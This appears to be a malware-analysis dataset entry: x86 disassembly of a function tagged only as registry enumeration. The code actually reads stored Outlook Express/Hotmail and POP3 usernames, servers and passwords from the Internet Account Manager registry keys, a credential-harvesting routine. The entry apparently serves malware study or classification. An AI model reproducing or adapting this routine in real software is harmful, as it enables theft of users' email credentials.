Function at 0x401580
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x2e4
mov ecx, 0xea6
xor eax, eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push edi
mov edi, 0x412688
rep stosd dword es:[edi], eax
lea eax, [esp + 0x15c]
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
push eax
call ebp
lea ecx, [esp + 0x18]
lea edx, [esp + 0x15c]
push ecx
push 0xf003f
push 0
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401910
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], 3
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x28]
push eax
mov eax, dword [esp + 0x20]
push 0
push 0
push 0
lea edx, [esp + 0x23c]
push ecx
mov ecx, dword [esp + 0x34]
push edx
push eax
push ecx
mov dword [esp + 0x48], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea edx, [esp + 0x164]
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts
push edx
mov dword [esp + 0x2c], eax
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x164]
push 0x411764
push eax
call esi
lea ecx, [esp + 0x22c]
lea edx, [esp + 0x164]
push ecx
push edx
call esi
lea eax, [esp + 0x18]
lea ecx, [esp + 0x164]
push eax
push 0xf003f
push 0
push ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x10]
lea eax, [esp + 0xcc]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
mov esi, 0x96
push str.HTTPMail_User_Name
push edx
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x401790
lea eax, [esp + 0xcc]
push eax
mov eax, dword [0x416120]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea edx, [ecx*4 + 0x412688]
push edx
call ebp
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xcc]
push str.Hotmail
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [0x416120]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea ecx, [eax*4 + 0x412750]
push ecx
call ebp
lea edx, [esp + 0x10]
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.HTTPMail_Password2
push edx
mov dword [esp + 0x28], esi
call ebx
test eax, eax
jne 0x4018da
mov eax, dword [esp + 0x10]
mov edi, 2
xor esi, esi
cmp eax, edi
jbe 0x401774
mov al, byte [esp + edi + 0x34]
push eax
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov edx, dword [0x416120]
test eax, eax
jne 0x401754
mov al, byte [esp + edi + 0x34]
cmp al, 0x28
je 0x401754
cmp al, 0x29
je 0x401754
cmp al, 0x2e
je 0x401754
cmp al, 0x20
je 0x401754
cmp al, 0x2d
jne 0x401769
lea eax, [edx + edx*2]
inc esi
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
mov al, byte [esp + edi + 0x34]
mov byte [esi + ecx*4 + 0x4126eb], al
mov eax, dword [esp + 0x10]
inc edi
cmp edi, eax
jb 0x401727
jmp 0x40177a
mov edx, dword [0x416120]
lea eax, [edx + edx*2]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
mov byte [esi + ecx*4 + 0x4126ec], 0
jmp 0x4018e0
lea edx, [esp + 0x10]
lea eax, [esp + 0xcc]
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.POP3_User_Name
push edx
call ebx
test eax, eax
jne 0x4018f6
lea eax, [esp + 0xcc]
push eax
mov eax, dword [0x416120]
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea ecx, [eax + eax*4]
lea edx, [ecx*4 + 0x412688]
push edx
call ebp
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xcc]
lea edx, [esp + 0x14]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x10]
lea ecx, [esp + 0xcc]
push eax
mov eax, dword [esp + 0x1c]
push ecx
push edx
push 0
push str.POP3_Server
push eax
mov dword [esp + 0x28], esi
call ebx
mov eax, dword [0x416120]
lea ecx, [esp + 0xcc]
push ecx
lea eax, [eax + eax*2]
lea eax, [eax + eax*4]
lea edx, [eax + eax*4]
lea eax, [edx*4 + 0x412750]
push eax
call ebp
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0xcc]
lea edx, [esp + 0x34]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], esi
stosw word es:[edi], ax
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.POP3_Password2
push ecx
call ebx
test eax, eax
jne 0x4018da
mov eax, dword [esp + 0x10]
mov edi, 2
xor esi, esi
cmp eax, edi
jbe 0x4018c1
mov dl, byte [esp + edi + 0x34]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov edx, dword [0x416120]
test eax, eax
jne 0x4018a1
mov al, byte [esp + edi + 0x34]
cmp al, 0x28
je 0x4018a1
cmp al, 0x29
je 0x4018a1
cmp al, 0x2e
je 0x4018a1
cmp al, 0x20
je 0x4018a1
cmp al, 0x2d
jne 0x4018b6
mov cl, byte [esp + edi + 0x34]
lea eax, [edx + edx*2]
inc esi
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
mov byte [esi + eax*4 + 0x4126eb], cl
mov eax, dword [esp + 0x10]
inc edi
cmp edi, eax
jb 0x401874
jmp 0x4018c7
mov edx, dword [0x416120]
lea eax, [edx + edx*2]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
mov byte [esi + eax*4 + 0x4126ec], 0
jmp 0x4018e0
mov edx, dword [0x416120]
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 0x34]
inc edx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [0x416120], edx
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x24]
inc ecx
cmp eax, 0x103
mov dword [esp + 0x1c], ecx
jne 0x4015e6
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x2e4
ret